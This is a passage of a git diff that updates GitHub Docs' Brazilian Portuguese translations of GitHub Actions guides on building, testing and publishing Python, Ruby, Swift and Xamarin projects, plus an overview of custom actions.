+Você pode fazer o upload de artefatos para visualização após a conclusão de um fluxo de trabalho. Por exemplo, é possível que você precise salvar os arquivos de registro, os despejos de núcleo, os resultados de teste ou capturas de tela. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+O exemplo a seguir demonstra como você pode usar a ação `upload-artefact` para arquivar os resultados de teste da execução do `pytest`. Para obter mais informações, consulte a ação <[`upload-artifact`](https://github.com/actions/upload-artifact).
 
 {% raw %}
 ```yaml{:copy}
@@ -389,11 +389,11 @@ jobs:
 ```
 {% endraw %}
 
-## Publishing to package registries
+## Publicar nos registros do pacote
 
-You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). 
+Você pode configurar seu fluxo de trabalho para publicar seu pacote do Python em um pacote de registro assim que seu CI teste passar. Esta seção demonstra como você pode usar {% data variables.product.prodname_actions %} para fazer o upload do seu pacote para o PyPI toda vez que [publicar uma versão](/github/administering-a-repository/managing-releases-in-a-repository).
 
-For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para este exemplo, você deverá criar dois [tokens da API do PyPI](https://pypi.org/help/#apitoken). Você pode usar segredos para armazenar os tokens de acesso ou credenciais necessárias para publicar o seu pacote. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -426,4 +426,4 @@ jobs:
           password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %}
 ```
 
-For more information about the starter workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
+Para obter mais informações sobre o fluxo de trabalho inicial, consulte [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
index 09d888b839..c70755ee4f 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Ruby
-intro: You can create a continuous integration (CI) workflow to build and test your Ruby project.
+title: Criar e testar o Ruby
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto do Ruby.
 redirect_from:
   - /actions/guides/building-and-testing-ruby
 versions:
@@ -12,28 +12,28 @@ type: tutorial
 topics:
   - CI
   - Ruby
-shortTitle: Build & test Ruby
+shortTitle: Criar & testar Ruby
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests a Ruby application. If your CI tests pass, you may want to deploy your code or publish a gem.
+Este guia mostra como criar um fluxo de trabalho de integração contínua (CI) que compila e testa um aplicativo do Rubi. Se o seu teste do CI passar, você deverá implantar seu código ou publicar um gem.
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of Ruby, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Recomendamos que você tenha um entendimento básico do Ruby, YAML, das opções de configuração do fluxo de trabalho e de como criar um arquivo do fluxo de trabalho. Para obter mais informações, consulte:
 
-- [Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
-- [Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)
+- [Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Ruby em 20 minutos](https://www.ruby-lang.org/en/documentation/quickstart/)
 
-## Using the Ruby starter workflow
+## Usando o fluxo de trabalho inicial do Ruby
 
-{% data variables.product.prodname_dotcom %} provides a Ruby starter workflow that will work for most Ruby projects. For more information, see the [Ruby starter workflow](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Ruby que irá funcionar na maioria dos projetos do Ruby. Para obter mais informações, consulte o [fluxo de trabalho inicial do Ruby](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+Para iniciar rapidamente, adicione o fluxo de trabalho inicial para o diretório `.github/workflows` do seu repositório. O fluxo de trabalho mostrado abaixo pressupõe que o branch padrão para o seu repositório é `principal`.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -63,13 +63,13 @@ jobs:
         run: bundle exec rake
 ```
 
-## Specifying the Ruby version
+## Especificar a versão do Ruby
 
-The easiest way to specify a Ruby version is by using the `ruby/setup-ruby` action provided by the Ruby organization on GitHub. The action adds any supported Ruby version to `PATH` for each job run in a workflow. For more information see, the [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
+A maneira mais fácil de especificar uma versão do Ruby é usar a ação `ruby/setup-ruby` fornecida pela organização Ruby no GitHub. A ação adiciona qualquer versão do Ruby compatível com `PATH` para cada tarefa executada em um fluxo de trabalho. Para mais informações, consulte [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
 
-Using Ruby's `ruby/setup-ruby` action is the recommended way of using Ruby with GitHub Actions because it ensures consistent behavior across different runners and different versions of Ruby.
+Usar a ação `ruby/setup-ruby` do Ruby é a forma recomendada de usar o Ruby com o GitHub Actions porque garante um comportamento consistente entre executores diferentes e versões diferentes do Ruby.
 
-The `setup-ruby` action takes a Ruby version as an input and configures that version on the runner.
+A ação `setup-ruby` toma uma versão Ruby como uma entrada e configura essa versão no executor.
 
 {% raw %}
 ```yaml
@@ -83,11 +83,11 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can check a `.ruby-version` file  into the root of your repository and `setup-ruby` will use the version defined in that file.
+Como alternativa, você pode verificar um arquivo `.ruby-version` na raiz do seu repositório e `setup-ruby` usará a versão definida nesse arquivo.
 
-## Testing with multiple versions of Ruby
+## Testar com versões múltiplas do Ruby
 
-You can add a matrix strategy to run your workflow with more than one version of Ruby. For example, you can test your code against the latest patch releases of versions 2.7, 2.6, and 2.5. The 'x' is a wildcard character that matches the latest patch release available for a version.
+Você pode adicionar uma estratégia matriz para executar seu fluxo de trabalho com mais de uma versão do Ruby. Por exemplo, você pode testar o seu código para as últimas versões de correção das versões 2.7, 2.6 e 2.5. O "x" é um caractere curinga que corresponde à última versão do patch disponível para uma versão.
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ strategy:
 ```
 {% endraw %}
 
-Each version of Ruby specified in the `ruby-version` array creates a job that runs the same steps. The {% raw %}`${{ matrix.ruby-version }}`{% endraw %} context is used to access the current job's version. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
+Cada versão do Ruby especificada no array `ruby-version` cria um trabalho que executa as mesmas etapas. O contexto {% raw %}`${{ matrix.ruby-version }}`{% endraw %} é usado para acessar a versão atual do trabalho. Para obter mais informações sobre estratégias e contextos de matriz, consulte "[Sintaxe do Fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" e "[Contextos](/actions/learn-github-actions/contexts)".
 
-The full updated workflow with a matrix strategy could look like this:
+O fluxo de trabalho totalmente atualizado com uma estratégia de matriz pode parecer com isto:
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -133,9 +133,9 @@ jobs:
         run: bundle exec rake
 ```
 
-## Installing dependencies with Bundler
+## Instalar dependências com o Bundler
 
-The `setup-ruby` action will automatically install bundler for you. The version is determined by your `gemfile.lock` file. If no version is present in your lockfile, then the latest compatible version will be installed.
+A ação `setup-ruby` irá instalar o bundler automaticamente para você. A versão é determinada pelo arquivo `gemfile.lock`. Se nenhuma versão estiver presente no seu arquivo de bloqueio, será instalada a última versão compatível.
 
 {% raw %}
 ```yaml
@@ -148,11 +148,11 @@ steps:
 ```
 {% endraw %}
 
-### Caching dependencies
+### Memorizar dependências
 
-If you are using {% data variables.product.prodname_dotcom %}-hosted runners, the `setup-ruby` actions provides a method to automatically handle the caching of your gems between runs.
+Se você estiver usando executores hospedados em {% data variables.product.prodname_dotcom %}, as ações do `setup-ruby` fornecem um método para lidar automaticamente com o cache dos seus gems entre as execuções.
 
-To enable caching, set the following.
+Para habilitar o cache, defina o seguinte.
 
 {% raw %}
 ```yaml
@@ -163,11 +163,11 @@ steps:
 ```
 {% endraw %}
 
-This will configure bundler to install your gems to `vendor/cache`. For each successful run of your workflow, this folder will be cached by Actions and re-downloaded for subsequent workflow runs. A hash of your gemfile.lock and the Ruby version are used as the cache key. If you install any new gems, or change a version, the cache will be invalidated and bundler will do a fresh install.
+Isso irá configurar o bundler para instalar seus gems em `vendor/cache`. Para cada execução bem sucedida do seu fluxo de trabalho, esta pasta será armazenada em cache por Ações e baixada novamente para subsequentes execuções de fluxo de trabalho. São usados um hash do seu gemfile.lock e versão do Ruby como a chave de cache. Se você instalar qualquer novo gem, ou mudar uma versão, o cache será invalidado e o bundler fará uma nova instalação.
 
-**Caching without setup-ruby**
+**Fazer armazenamento em cache sem o setup-ruby**
 
-For greater control over caching, if you are using {% data variables.product.prodname_dotcom %}-hosted runners, you can use the `actions/cache` Action directly. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Para maior controle sobre o cache, se você estiver usando executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá usar a ação `actions/cache` diretamente. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
 {% raw %}
 ```yaml
@@ -185,7 +185,7 @@ steps:
 ```
 {% endraw %}
 
-If you're using a matrix build, you will want to include the matrix variables in your cache key. For example, if you have a matrix strategy for different ruby versions (`matrix.ruby-version`) and different operating systems (`matrix.os`), your workflow steps might look like this:
+Se você estiver usando uma compilação de matriz, você vai querer incluir as variáveis da matriz na sua chave de cache. Por exemplo, se você tem uma estratégia matriz para diferentes versões do ruby (`matrix. uby-version`) e diferentes sistemas operacionais (`matrix.os`), suas etapas de fluxo de trabalho podem se parecer com isso:
 
 {% raw %}
 ```yaml
@@ -203,9 +203,9 @@ steps:
 ```
 {% endraw %}
 
-## Matrix testing your code
+## Matriz que testa o seu código
 
-The following example matrix tests all stable releases and head versions of MRI, JRuby and TruffleRuby on Ubuntu and macOS.
+O exemplo a seguir da matriz testa todas as versões estáveis e versões principais de MRI, JRuby e TruffleRuby no Ubuntu e no macOS.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -236,9 +236,9 @@ jobs:
       - run: bundle exec rake
 ```
 
-## Linting your code
+## Fazer linting do seu código
 
-The following example installs `rubocop` and uses it to lint all files. For more information, see [Rubocop](https://github.com/rubocop-hq/rubocop). You can [configure Rubocop](https://docs.rubocop.org/rubocop/configuration.html) to decide on the specific linting rules.
+O exemplo a seguir instala `rubocop` e o utiliza para fazer lint de todos os arquivos. Para obter mais informações, consulte [Rubocop](https://github.com/rubocop-hq/rubocop). Pode [configurar o Rubocop](https://docs.rubocop.org/rubocop/configuration.html) para decidir as regras específicas de linting.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -260,11 +260,11 @@ jobs:
         run: rubocop
 ```
 
-## Publishing Gems
+## Publicar gems
 
-You can configure your workflow to publish your Ruby package to any package registry you'd like when your CI tests pass.
+Você pode configurar o seu fluxo de trabalho para publicar o seu pacote do Ruby em qualquer pacote de registro que você desejar quando os seus testes de CI passarem.
 
-You can store any access tokens or credentials needed to publish your package using repository secrets. The following example creates and publishes a package to `GitHub Package Registry` and `RubyGems`.
+Você pode armazenar qualquer token de acesso ou credenciais necessárias para publicar seu pacote usando segredos do repositório. O exemplo a seguir cria e publica um pacote no `Registro de Pacote do GitHub` e `RubyGems`.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-swift.md
index c343875e70..3862612e47 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-swift.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-swift.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Swift
-intro: You can create a continuous integration (CI) workflow to build and test your Swift project.
+title: Construção e teste Swift
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto no Swift.
 redirect_from:
   - /actions/guides/building-and-testing-swift
 versions:
@@ -12,30 +12,30 @@ type: tutorial
 topics:
   - CI
   - Swift
-shortTitle: Build & test Swift
+shortTitle: Criar & testar Swift
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to build and test a Swift package.
+Este guia mostra como criar e testar um pacote do Swift.
 
-{% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, the necessary Swift dependencies are required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %}{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %}
+{% ifversion ghae %} Para criar e testar seu projeto Swift em {% data variables.product.prodname_ghe_managed %}, são necessárias as dependências do Swift. {% data reusables.actions.self-hosted-runners-software %}
+Executores hospedados em {% else %}{% data variables.product.prodname_dotcom %} têm um cache de ferramentas com software pré-instalado e os executores Ubuntu e macOS incluem as dependências para construir pacotes Swift. Para obter uma lista completa do software atualizado e das versões pré-instaladas do Swift e do Xcode, consulte "[Sobre executores hospedados pelo GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Você já deve estar familiarizado com a sintaxe YAML e como é usado com {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
 
-We recommend that you have a basic understanding of Swift packages. For more information, see "[Swift Packages](https://developer.apple.com/documentation/swift_packages)" in the Apple developer documentation.
+Recomendamos que você tenha uma compreensão básica dos pacotes Swift. Para obter mais informações, consulte "[Pacotes Swift](https://developer.apple.com/documentation/swift_packages)" na documentação de desenvolvedor da Apple.
 
-## Using the Swift starter workflow
+## Usando o fluxo de trabalho inicial do Swift
 
-{% data variables.product.prodname_dotcom %} provides a Swift starter workflow that should work for most Swift projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [Swift starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial Swift que deve funcionar na maioria dos projetos do Swift, e este guia inclui exemplos que mostram a você como personalizar este fluxo de trabalho inicial. Para obter mais informações, consulte o [fluxo de trabalho inicial do Swift](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
+Para iniciar rapidamente, adicione o fluxo de trabalho inicial para o diretório `.github/workflows` do seu repositório.
 
 {% raw %}
 ```yaml{:copy}
@@ -57,17 +57,17 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Swift version
+## Especificando uma versão do Swift
 
-To use a specific preinstalled version of Swift on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `fwal/setup-swift` action. This action finds a specific version of Swift from the tools cache on the runner and adds the necessary binaries to `PATH`. These changes will persist for the remainder of a job. For more information, see the [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) action.
+Para usar uma versão específica do Swift em um executor hospedado em {% data variables.product.prodname_dotcom %}, use a ação `fwal/setup-fast`. Esta ação encontra uma versão específica do Swift do cache de ferramentas no executor e adiciona os binários necessários a `PATH`. Estas alterações persistirão para o restante de um trabalho. Para obter mais informações, consulte a ação [`fwal/setup-speed`](https://github.com/marketplace/actions/setup-swift).
 
-If you are using a self-hosted runner, you must install your desired Swift versions and add them to `PATH`.
+Se você estiver usando um executor auto-hospedado, você deverá instalar as versões do Swift desejadas e adicioná-las a `PATH`.
 
-The examples below demonstrate using the `fwal/setup-swift` action.
+Os exemplos abaixo demonstram o uso da ação `fwal/setup-fast`.
 
-### Using multiple Swift versions
+### Usando várias versões do Swift
 
-You can configure your job to use a multiple versions of Swift in a build matrix.
+Você pode configurar seu trabalho para usar várias versões do Swift em uma matriz de criação.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -95,9 +95,9 @@ jobs:
         run: swift test
 ```
 
-### Using a single specific Swift version
+### Usando uma única versão específica do Swift
 
-You can configure your job to use a single specific version of Swift, such as `5.3.3`.
+Você pode configurar sua tarefa para usar uma única versão específica do Swift como, por exemplo, `5.3.3`.
 
 {% raw %}
 ```yaml{:copy}
@@ -110,9 +110,9 @@ steps:
 ```
 {% endraw %}
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code using Swift. This example demonstrates how to use `swift build` and `swift test` in a job:
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código usando o Swift. Este exemplo demonstra como usar `swift build` e `swift test` em um trabalho:
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
index 312c10753e..7388b80c43 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Xamarin applications
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Xamarin application.
+title: Criando e testando aplicativos Xamarin
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) no GitHub Actions para construir e testar o seu aplicativo Xamarin.
 redirect_from:
   - /actions/guides/building-and-testing-xamarin-applications
 versions:
@@ -16,34 +16,34 @@ topics:
   - Xamarin.Android
   - Android
   - iOS
-shortTitle: Build & test Xamarin apps
+shortTitle: Criar & testar os aplicativos Xamarin
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Xamarin project. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy.
+Este guia mostra como criar um fluxo de trabalho que executa a integração contínua (CI) para o seu projeto Xamarin. O fluxo de trabalho que você criar permitirá que você veja quando commits em um pull request gerarão falhas de criação ou de teste em comparação com o seu branch-padrão. Essa abordagem pode ajudar a garantir que seu código seja sempre saudável.
 
-For a full list of available Xamarin SDK versions on the {% data variables.product.prodname_actions %}-hosted macOS runners, see the documentation:
+Para obter uma lista completa das versões Xamarin SDK disponíveis nos executores do macOS hospedados em {% data variables.product.prodname_actions %}, consulte a documentação:
 
 * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles)
 * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles)
 
 {% data reusables.github-actions.macos-runner-preview %}
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of Xamarin, .NET Core SDK, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Recomendamos que você tenha um entendimento básico do Xamarin, .NET Core SDK, YAML, opções de configuração do fluxo de trabalho e como criar um arquivo de fluxo de trabalho. Para obter mais informações, consulte:
 
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Getting started with .NET](https://dotnet.microsoft.com/learn)"
-- "[Learn Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
+- "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Começando com o .NET](https://dotnet.microsoft.com/learn)"
+- "[Conheça o Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
 
-## Building Xamarin.iOS apps
+## Criar aplicativos Xamarin.iOS
 
-The example below demonstrates how to change the default Xamarin SDK versions and build a Xamarin.iOS application.
+O exemplo abaixo demonstra como alterar as versões padrão do Xamarin SDK e criar um aplicativo Xamarin.iOS.
 
 {% raw %}
 ```yaml
@@ -61,7 +61,7 @@ jobs:
     - name: Set default Xamarin SDK versions
       run: |
         $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10
-    
+
     - name: Set default Xcode 12.3
       run: |
         XCODE_ROOT=/Applications/Xcode_12.3.0.app
@@ -81,9 +81,9 @@ jobs:
 ```
 {% endraw %}
 
-## Building Xamarin.Android apps
+## Criar aplicativos Xamarin.Android
 
-The example below demonstrates how to change default Xamarin SDK versions and build a Xamarin.Android application.
+O exemplo abaixo demonstra como alterar as versões padrão do Xamarin SDK e criar um aplicativo Xamarin.Android.
 
 {% raw %}
 ```yaml
@@ -115,8 +115,8 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## Especificando uma versão do .NET
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
- 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+Para usar uma versão pré-instalada do .NET Core SDK em um executor hospedado em {% data variables.product.prodname_dotcom %}, use a ação `setup-dotnet`. Esta ação encontra uma versão específica do .NET do cache de ferramentas em cada executor e adiciona os binários necessários para `PATH`. Estas alterações persistirão para o resto do trabalho.
+
+A ação `setup-dotnet` é a forma recomendada de usar .NET com {% data variables.product.prodname_actions %}, porque garante um comportamento consistente em executores diferentes e versões diferentes do .NET. Se você estiver usando um executor auto-hospedado, você deverá instalar o .NET e adicioná-lo ao `PATH`. Para obter mais informações, consulte a ação [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/index.md b/translations/pt-BR/content/actions/automating-builds-and-tests/index.md
index 7a40d05f77..a91dbb30a3 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/index.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Automating builds and tests
-shortTitle: Build and test
-intro: 'You can automatically build and test your projects with {% data variables.product.prodname_actions %}.'
+title: Automatizando criações e testes
+shortTitle: Criar e testar
+intro: 'Você pode criar e testar automaticamente os seus projetos com {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/creating-actions/about-custom-actions.md b/translations/pt-BR/content/actions/creating-actions/about-custom-actions.md
index 00fecf9091..fbb64370ce 100644
--- a/translations/pt-BR/content/actions/creating-actions/about-custom-actions.md
+++ b/translations/pt-BR/content/actions/creating-actions/about-custom-actions.md
@@ -1,6 +1,6 @@
 ---
-title: About custom actions
-intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.'
+title: Sobre ações personalizadas
+intro: 'Ações são tarefas individuais que você pode combinar para criar trabalhos e personalizar o seu fluxo de trabalho. Você pode criar suas próprias ações ou usar e personalizar ações compartilhadas pela comunidade {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/about-actions
   - /github/automating-your-workflow-with-github-actions/about-actions
@@ -21,151 +21,151 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About custom actions
+## Sobre ações personalizadas
 
-You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code.
+Você pode criar ações gravando códigos personalizados que interajam com o seu repositório da maneira que você quiser, inclusive fazendo integrações com as APIs do {% data variables.product.prodname_dotcom %} e qualquer API de terceiros disponível publicamente. Por exemplo, as ações podem publicar módulos npm, enviar alertas SMS quando problemas urgentes forem criados ou implantar códigos prontos para produção.
 
 {% ifversion fpt or ghec %}
-You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built, your repository must be public.
+É possível gravar suas próprias ações para uso no fluxo de trabalho ou compartilhar as ações que você compilar com a comunidade do {% data variables.product.prodname_dotcom %}. Para compartilhar as ações que você compilou, seu repositório deve ser público.
 {% endif %}
 
-Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables.
+As ações podem ser executadas diretamente em uma máquina ou em um contêiner Docker. É possível definir as entradas, saídas e variáveis do ambiente de uma ação.
 
-## Types of actions
+## Tipos de ação
 
-You can build Docker container and JavaScript actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be either `action.yml` or `action.yaml`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)."
+Você pode compilar ações do contêiner Docker e JavaScript. As ações exigem um arquivo de metadados para a definição de entradas, saídas e ponto de entrada principal para sua ação. O nome do arquivo dos metadados deve ser `action.yml` ou `action.yaml`. Para obter mais informações, consulte "[Sintaxe de metadados para o {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)".
 
-| Type | Operating system |
-| ---- | ------------------- |
-| Docker container | Linux |
-| JavaScript | Linux, macOS, Windows |
-| Composite Actions | Linux, macOS, Windows |
+| Tipo             | Sistema operacional   |
+| ---------------- | --------------------- |
+| Contêiner Docker | Linux                 |
+| JavaScript       | Linux, macOS, Windows |
+| Ações compostas  | Linux, macOS, Windows |
 
-### Docker container actions
+### Ações de contêiner docker
 
-Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies.
+Os contêineres Docker criam um pacote do ambiente com o código {% data variables.product.prodname_actions %}. Esse procedimento cria uma unidade de trabalho mais consistente e confiável, pois o consumidor da ação não precisa se preocupar com ferramentas ou dependências.
 
-A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions.
+Um contêiner Docker permite usar versões específicas de um sistema operacional, bem como as dependências, as ferramentas e o código. Para ações a serem executadas em uma configuração específica de ambiente, o Docker é a opção ideal porque permite personalizar o sistema operacional e as ferramentas. Por causa da latência para compilar e recuperar o contêiner, as ações de contêiner Docker são mais lentas que as ações JavaScripts.
 
-Docker container actions can only execute on runners with a Linux operating system. {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
+As ações do contêiner Docker podem apenas ser executadas em executores com o sistema operacional Linux. {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
-### JavaScript actions
+### Ações JavaScript
 
-JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action.
+As ações do JavaScript podem ser executadas diretamente em uma máquina executora e separar o código de ação do ambiente usado para executar o código. Usar ações JavaScript simplifica o código da ação e é um processo mais rápido se comparado à opção do contêiner Docker.
 
 {% data reusables.github-actions.pure-javascript %}
 
-If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+Se você estiver desenvolvendo um projeto Node.js, o kit de ferramentas {% data variables.product.prodname_actions %} fornecerá pacotes que você poderá usar para acelerar o desenvolvimento. Para obter mais informações, consulte o repositório [ações/conjuntos de ferramentas](https://github.com/actions/toolkit).
 
-### Composite Actions
+### Ações compostas
 
-A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)".
